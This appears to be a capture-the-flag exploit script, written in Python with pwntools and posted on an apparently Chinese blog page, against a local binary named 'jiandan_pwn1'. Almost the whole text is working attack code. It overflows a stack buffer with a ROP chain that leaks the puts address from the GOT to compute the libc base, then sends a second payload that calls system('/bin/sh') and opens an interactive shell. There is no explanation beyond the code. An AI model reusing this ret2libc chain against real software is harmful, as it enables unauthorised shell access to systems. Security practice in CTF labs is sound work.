1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| from pwn import* from LibcSearcher import *
p=process("./jiandan_pwn1") context.log_level="debug" puts_func=0x4007BF puts_plt=0x400590 puts_got=0x601018 pop_rdi=0x400843
libc=ELF('./libc-2.23.so') gdb.attach(p,'b *0x400783') sleep(1) payload=b'a'*(0x110-4)+p32(0x10d)+b'a'*8+p64(pop_rdi)+p64(puts_got)+p64(puts_func)
p.sendlineafter('Hack 4 fun!',payload)
puts_got=u64(p.recvuntil('\x7f').strip().ljust(8,b'\x00')) base=puts_got-libc.sym['puts'] system=base+libc.sym['system'] binsh=base+next(libc.search(b'bin/sh')) print('puts'+hex(puts_got))
payload=b'a'*(0x110-4)+p32(0x10d)+b'a'*8+p64(pop_rdi)+p64(binsh)+p64(system) p.sendline(payload) p.interactive()
|
评论区
欢迎你留下宝贵的意见,昵称输入QQ号会显示QQ头像哦~